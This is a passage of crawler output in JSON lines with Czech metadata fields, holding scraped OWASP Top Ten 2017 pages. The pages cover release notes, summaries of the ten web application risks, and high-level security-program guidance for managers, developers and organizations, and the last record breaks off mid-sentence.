(XSS)](https://wiki.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) **⇘** [A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure) [A4-Insecure Direct Object References](https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) - [Merged + A7]\n **∪** [A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE)) [NEW]\n [A5-Security Misconfiguration](https://wiki.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration) **⇘** [A5:2017-Broken Access Control](A5_2017-Broken_Access_Control) [Merged]\n [A6-Sensitive Data Exposure](https://wiki.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure) **⇗** [A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration) [A7-Missing Function Level Access Control](https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) - [Merged + A4]\n **∪** [A7:2017-Cross-Site Scripting (XSS)](A7_2017-Cross-Site_Scripting_(XSS)) [A8-Cross-Site Request Forgery (CSRF)](https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)) [Dropped]\n **☒** [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization) [NEW, Community]\n [A9-Using Components with Known Vulnerabilities](https://wiki.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities) **⇒** [A9:2017-Using Components with Known Vulnerabilities](A9_2017-Using_Components_with_Known_Vulnerabilities) [A10-Unvalidated Redirects and Forwards](https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards) [Dropped]\n **☒** [A10:2017-Insufficient Logging&Monitoring](A10_2017-Insufficient_Logging%2526Monitoring) [NEW, Community]\n\n---", "znaku_textu": 5443, "slov": 576, "odkazu": 49, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:34", "sha256": "3111d592c7d70402798e5f3996d19eff28f2a9b69686dc6d0921e0507be2f633", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References", "https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)", "https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards", "https://wiki.owasp.org/index.php/Top_10_2013-A1-Injection", "https://wiki.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management", "https://wiki.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)", "https://wiki.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration", "https://wiki.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure", "https://wiki.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Release_Notes.html", "titulek": "OWASP Top Ten 2017 | Release Notes | OWASP Foundation", "h1": "Release Notes", "popis": "Release Notes on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Release_Notes", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Release Notes on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Release Notes | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Release_Notes.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Release Notes"}], "markdown": "OWASP Top Ten 2017\n\n| Release Notes | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Neuerungen) |\n| --- | --- |\n\n| What changed from 2013 to 2017? Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We’ve completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, re-written each risk from the ground up, and added references to frameworks and languages that are now commonly used. Over the last few years, the fundamental technology and architecture of applications has changed significantly:\n\n* Microservices written in node.js and Spring Boot are replacing traditional monolithic applications. Microservices come with their own security challenges including establishing trust between microservices, containers, secret management, etc. Old code never expected to be accessible from the Internet is now sitting behind an API or RESTful web service to be consumed by Single Page Applications (SPAs) and mobile applications. Architectural assumptions by the code, such as trusted callers, are no longer valid.\n\n* Single page applications, written in JavaScript frameworks such as Angular and React, allow the creation of highly modular feature-rich front ends. Client-side functionality that has traditionally been delivered server-side brings its own security challenges.\n\n* JavaScript is now the primary language of the web with node.js running server side and modern web frameworks such as Bootstrap, Electron, Angular, and React running on the client.\n \n **New issues, supported by data:**\n\n* [A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE)) is a new category primarily supported by [source code analysis security testing tools (SAST)](https://owasp.org/www-community/Source_Code_Analysis_Tools) data sets.\n \n **New issues, supported by the community:**\nWe asked the community to provide insight into two forward looking weakness categories. After over 500 peer submissions, and removing issues that were already supported by data (such as Sensitive Data Exposure and XXE), the two new issues are:\n\n* [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization), which permits remote code execution or sensitive object manipulation on affected platforms.\n\n* [A10:2107-Insufficient Logging & Monitoring](A10_2017-Insufficient_Logging%2526Monitoring), the lack of which can prevent or significantly delay malicious activity and breach detection, incident response, and digital forensics.\n \n **Merged or retired, but not forgotten:**\n\n* [A4-Insecure Direct Object References](https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) and [A7-Missing Function Level Access Control](https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) merged into [A5:2017-Broken Access Control](A5_2017-Broken_Access_Control).\n\n* [A8-Cross-Site Request Forgery (CSRF)](https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)), as many frameworks include [CSRF](/www-community/attacks/csrf) defenses, it was found in only 5% of applications.\n\n* [A10-Unvalidated Redirects and Forwards](https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards), while found in approximately in 8% of applications, it was edged out overall by XXE. |\n| --- |\n\nOWASP Top 10 - 2013 (Previous Version) **⇒** OWASP Top 10 - 2017 (Current Version)\n [A1-Injection](https://wiki.owasp.org/index.php/Top_10_2013-A1-Injection) **⇒** [A1:2017-Injection](A1_2017-Injection) [A2-Broken Authentication and Session Management](https://wiki.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management) **⇒** [A2:2017-Broken Authentication](A2_2017-Broken_Authentication) [A3-Cross-Site Scripting (XSS)](https://wiki.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) **⇘** [A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure) [A4-Insecure Direct Object References](https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) - [Merged + A7]\n **∪** [A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE)) [NEW]\n [A5-Security Misconfiguration](https://wiki.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration) **⇘** [A5:2017-Broken Access Control](A5_2017-Broken_Access_Control) [Merged]\n [A6-Sensitive Data Exposure](https://wiki.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure) **⇗** [A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration) [A7-Missing Function Level Access Control](https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) - [Merged + A4]\n **∪** [A7:2017-Cross-Site Scripting (XSS)](A7_2017-Cross-Site_Scripting_(XSS)) [A8-Cross-Site Request Forgery (CSRF)](https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)) [Dropped]\n **☒** [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization) [NEW, Community]\n [A9-Using Components with Known Vulnerabilities](https://wiki.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities) **⇒** [A9:2017-Using Components with Known Vulnerabilities](A9_2017-Using_Components_with_Known_Vulnerabilities) [A10-Unvalidated Redirects and Forwards](https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards) [Dropped]\n **☒** [A10:2017-Insufficient Logging&Monitoring](A10_2017-Insufficient_Logging%2526Monitoring) [NEW, Community]\n\n---", "znaku_textu": 5443, "slov": 576, "odkazu": 49, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-top-ten/2017/Release_Notes", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:14", "sha256": "3111d592c7d70402798e5f3996d19eff28f2a9b69686dc6d0921e0507be2f633", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References", "https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)", "https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards", "https://wiki.owasp.org/index.php/Top_10_2013-A1-Injection", "https://wiki.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management", "https://wiki.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)", "https://wiki.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration", "https://wiki.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure", "https://wiki.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Top_10.html", "titulek": "OWASP Top Ten 2017 | 2017 Top 10 | OWASP Foundation", "h1": "2017 Top 10", "popis": "2017 Top 10 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Top_10", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "2017 Top 10 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | 2017 Top 10 | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Top_10.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "2017 Top 10"}], "markdown": "OWASP Top Ten 2017\n\n| 2017 Top 10 | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Top_10) |\n| --- | --- |\n\n| OWASP Top 10 Application Security Risks - 2017 \n **[A1:2017-Injection](A1_2017-Injection)** Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. **[A2:2017-Broken Authentication](A2_2017-Broken_Authentication)** Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently. **[A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure)** Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. **[A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE))** Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks. **[A5:2017-Broken Access Control](A5_2017-Broken_Access_Control)** Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc. **[A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration)** Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion. **[A7:2017-Cross-Site Scripting (XSS)](A7_2017-Cross-Site_Scripting_(XSS))** XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. **[A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization)** Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. **[A9:2017-Using Components with Known Vulnerabilities](A9_2017-Using_Components_with_Known_Vulnerabilities)** Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts. **[A10:2017-Insufficient Logging & Monitoring](A10_2017-Insufficient_Logging%2526Monitoring)** Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. |\n| --- |\n\n---", "znaku_textu": 4218, "slov": 558, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:16", "sha256": "0fa79968bffffa056f26fbd29e5d34e56136c762a4e3016da518d064256d874e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Application_Managers.html", "titulek": "OWASP Top Ten 2017 | What's Next for Application Managers | OWASP Foundation", "h1": "What's Next for Application Managers", "popis": "What's Next for Application Managers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Application_Managers", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "What's Next for Application Managers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | What's Next for Application Managers | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Application_Managers.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next for Application Managers"}], "markdown": "OWASP Top Ten 2017\n\n| What's Next for Application Managers | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Naechste_Schritte_fuer_Anwendungs-Verantwortliche) |\n| --- | --- |\n\n| Manage the Full Application Lifecycle Applications belong to the most complex systems humans regularly create and maintain. IT management for an application should be performed by IT specialists who are responsible for the overall IT lifecycle of an application. We suggest establishing the role of application manager as technical counterpart to the application owner. The application manager is in charge of the whole application lifecycle from the IT perspective, from collecting the requirements until the process of retiring systems, which is often overlooked.\n \n ****Requirements and Resource Management:**** \n * Collect and negotiate the business requirements for an application with the business, including the protection requirements with regard to confidentiality, authenticity, integrity and availability of all data assets, and the expected business logic.\n\n * Compile the technical requirements including functional and nonfunctional security requirements.\n\n * Plan and negotiate the budget that covers all aspects of design, build, testing and operation, including security activities. ****Request for Proposals (RFP) and Contracting:**** \n * Negotiate the requirements with internal or external developers, including guidelines and security requirements with respect to your security program, e.g. SDLC, best practices.\n\n * Rate the fulfillment of all technical requirements, including a planning and design phase.\n\n * Negotiate all technical requirements, including design, security, and service level agreements (SLA).\n\n * Adopt templates and checklists, such as [OWASP Secure Software Contract Annex](/www-community/OWASP_Secure_Software_Contract_Annex).\n**Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex. ****Planning and Design:**** \n * Negotiate planning and design with the developers and internal shareholders, e.g. security specialists.\n\n * Define the security architecture, controls, and countermeasures appropriate to the protection needs and the expected threat level. This should be supported by security specialists.\n\n * Ensure that the application owner accepts remaining risks or provides additional resources.\n\n * In each sprint, ensure security stories are created that include constraints added for non-functional requirements. ****Deployment, Testing, and Rollout:**** \n * Automate the secure deployment of the application, interfaces and all required components, including needed authorizations.\n\n * Test the technical functions and integration with the IT architecture and coordinate business tests.\n\n * Create “use” and “abuse” test cases from technical and business perspectives.\n\n * Manage security tests according to internal processes, the protection needs, and the assumed threat level by the application.\n\n * Put the application in operation and migrate from previously used applications if needed.\n\n * Finalize all documentation, including the change management data base (CMDB) and security architecture. ****Operations and Change Management:**** \n * Operations must include guidelines for the security management of the application (e.g. patch management).\n\n * Raise the security awareness of users and manage conflicts about usability vs. security.\n\n * Plan and manage changes, e.g. migrate to new versions of the application or other components like OS, middleware, and libraries.\n\n * Update all documentation, including in the CMDB and the security architecture, controls, and countermeasures, including any runbooks or project documentation. ****Retiring Systems:**** \n * Any required data should be archived. All other data should be securely wiped.\n\n * Securely retire the application, including deleting unused accounts and roles and permissions.\n\n * Set your application’s state to retired in the CMDB. |\n| --- |\n\n---", "znaku_textu": 3874, "slov": 513, "odkazu": 28, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:30", "sha256": "3751102c4164440f6cd2c220fc3294611638f2f449b4827aa2b678053d5601a4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Developers.html", "titulek": "OWASP Top Ten 2017 | What's Next for Developers | OWASP Foundation", "h1": "What's Next for Developers", "popis": "What's Next for Developers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Developers", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "What's Next for Developers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | What's Next for Developers | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Developers.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next for Developers"}], "markdown": "OWASP Top Ten 2017\n\n| What's Next for Developers | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Naechste_Schritte_fuer_Software-Entwickler) |\n| --- | --- |\n\n| Establish & Use Repeatable Security Processes and Standard Security Controls Whether you are new to web application security or already very familiar with these risks, the task of producing a secure web application or fixing an existing one can be difficult. If you have to manage a large application portfolio, this task can be daunting.\n\nTo help organizations and developers reduce their application security risks in a cost-effective manner, OWASP has produced numerous free and open resources that you can use to address application security in your organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications and APIs. On the next page, we present additional OWASP resources that can assist organizations in verifying the security of their applications and APIs.\n \n ****Application Security Requirements:**** To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](/www-project-application-security-verification-standard) as a guide for setting the security requirements for your application(s). If you’re outsourcing, consider the [OWASP Secure Software Contract Annex](/www-community/OWASP_Secure_Software_Contract_Annex).\n **Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex. ****Application Security Architecture:**** Rather than retrofitting security into your applications and APIs, it is far more cost effective to design the security in from the start. OWASP recommends the [OWASP Prevention Cheat Sheets](/www-project-cheat-sheets) as a good starting point for guidance on how to design security in from the beginning. ****Security Standard Controls:**** Building strong and usable security controls is difficult. Using a set of standard security controls radically simplifies the development of secure applications and APIs. The [OWASP Prevention Cheat Sheets](/www-project-cheat-sheets) is a good starting point for developers, and many modern frameworks now come with standard and effective security controls for authorization, validation, CSRF prevention, etc. ****Secure Development Lifecycle:**** To improve the process your organization follows when building applications and APIs, OWASP recommends the [OWASP Software Assurance Maturity Model (SAMM)](/www-project-samm). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization. ****Application Security Education:**** The OWASP Education Project provides training materials to help educate developers on web application security. For hands-on learning about vulnerabilities, try [OWASP WebGoat](/www-project-webgoat), [OWASP Juice Shop Project](/www-project-juice-shop) or the [OWASP Broken Web Applications Project](/www-project-broken-web-applications) [(old wiki)](https://wiki.owasp.org/index.php/OWASP_Broken_Web_Applications_Project). To stay current, come to an [OWASP AppSec Conference](/events), [OWASP Conference Training](/events), or local [OWASP Chapter meetings](/chapters). \nThere are numerous additional OWASP resources available for your use. Please visit the [OWASP Projects page](/projects), which lists all the Flagship, Labs, and Incubator projects in the OWASP project inventory. Most OWASP resources are available on our [website](https://owasp.org), and many OWASP documents can be ordered in [hardcopy or as eBooks](https://stores.lulu.com/owasp). |\n| --- |\n\n---", "znaku_textu": 3707, "slov": 498, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:27", "sha256": "e1d2cda843e6b805ecf86b6d5bd50dac8625a47d9633ee5c042b327aae0b2e6e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://wiki.owasp.org/index.php/OWASP_Broken_Web_Applications_Project", "https://stores.lulu.com/owasp", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Organizations.html", "titulek": "OWASP Top Ten 2017 | What's Next for Organizations | OWASP Foundation", "h1": "What's Next for Organizations", "popis": "What's Next for Organizations on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Organizations", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "What's Next for Organizations on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | What's Next for Organizations | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Organizations.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next for Organizations"}], "markdown": "OWASP Top Ten 2017\n\n| What's Next for Organizations | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Naechste_Schritte_fuer_Organisationen) |\n| --- | --- |\n\n| Start Your Application Security Program Now Application security is no longer optional. Between increasing attacks and regulatory pressures, organizations must establish effective processes and capabilities for securing their applications and APIs. Given the staggering amount of code in the numerous applications and APIs already in production, many organizations are struggling to get a handle on the enormous volume of vulnerabilities.\n\nOWASP recommends organizations establish an application security program to gain insight and improve security across their applications and APIs. Achieving application security requires many different parts of an organization to work together efficiently, including security and audit, software development, business, and executive management. Security should be visible and measurable, so that all the different players can see and understand the organization’s application security posture. Focus on the activities and outcomes that actually help improve enterprise security by eliminating or reducing risk. [OWASP SAMM](/www-project-samm) and the [OWASP Application Security Guide for CISOs: V1 (old wiki)](https://wiki.owasp.org/index.php/Application_Security_Guide_For_CISOs) is the source of most of the key activities in this list.\n \n ****Get Started:**** \n * Document all applications and associated data assets. Larger organizations should consider implementing a Configuration Management Database (CMDB) for this purpose.\n\n * Establish an [application security program](/www-project-samm) and drive adoption.\n\n * Conduct a [capability gap analysis](/www-project-samm) comparing your organization to your peers to define key improvement areas and an execution plan.\n\n * Gain management approval and establish an [application security awareness campaign](/www-project-samm) for the entire IT organization. ****Risk Based Portfolio Approach:**** \n * Identify the [protection needs](/www-project-samm) of your [application portfolio](/www-project-samm) from a business perspective. This should be driven in part by privacy laws and other regulations relevant to the data asset being protected.\n\n * Establish a [common risk rating model](/www-community/OWASP_Risk_Rating_Methodology) with a consistent set of likelihood and impact factors reflective of your organization’s tolerance for risk.\n\n * Accordingly measure and prioritize all your applications and APIs. Add the results to your CMDB.\n\n * Establish assurance guidelines to properly define coverage and level of rigor required. ****Enable with a Strong Foundation:**** \n * Establish a set of focused [policies and standards](/www-project-samm) that provide an application security baseline for all development teams to adhere to.\n\n * Define a [common set of reusable security controls](/www-project-security-knowledge-framework) that complement these policies and standards and provide design and development guidance on their use.\n\n * Establish an [application security training curriculum](/www-project-samm) that is required and targeted to different development roles and topics. ****Integrate Security into Existing Processes:**** \n * Define and integrate [secure implementation and verification](/www-project-samm) activities into existing development and operational processes.\n\n * Activities include [threat modeling, secure design and design review, secure coding and code review, penetration testing](/www-project-samm), and remediation.\n\n * Provide subject matter experts and [support services for development and project teams](/www-project-samm) to be successful. ****Provide Management Visibility:**** \n * Manage with metrics. Drive improvement and funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices and activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect ensity by type and instance counts, etc.\n\n * Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. Learn from mistakes and offer positive incentives to promote improvements. |\n| --- |\n\n---", "znaku_textu": 4248, "slov": 550, "odkazu": 31, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:29", "sha256": "306da6b8e38939f1e9b1ae6e00454106506e9848057d1d529602ce0268a2affb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://wiki.owasp.org/index.php/Application_Security_Guide_For_CISOs", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Security_Testers.html", "titulek": "OWASP Top Ten 2017 | What's Next for Security Testers | OWASP Foundation", "h1": "What's Next for Security Testers", "popis": "What's Next for Security Testers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Security_Testers", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "What's Next for Security Testers on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | What's Next for Security Testers | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/What%2527s_Next_for_Security_Testers.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next for Security Testers"}], "markdown": "OWASP Top Ten 2017\n\n| What's Next for Security Testers | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Naechste_Schritte_fuer_Sicherheitstester) |\n| --- | --- |\n\n| Establish Continuous Application Security Testing Building code securely is important. But it’s critical to verify that the security you intended to build is actually present, correctly implemented, and used 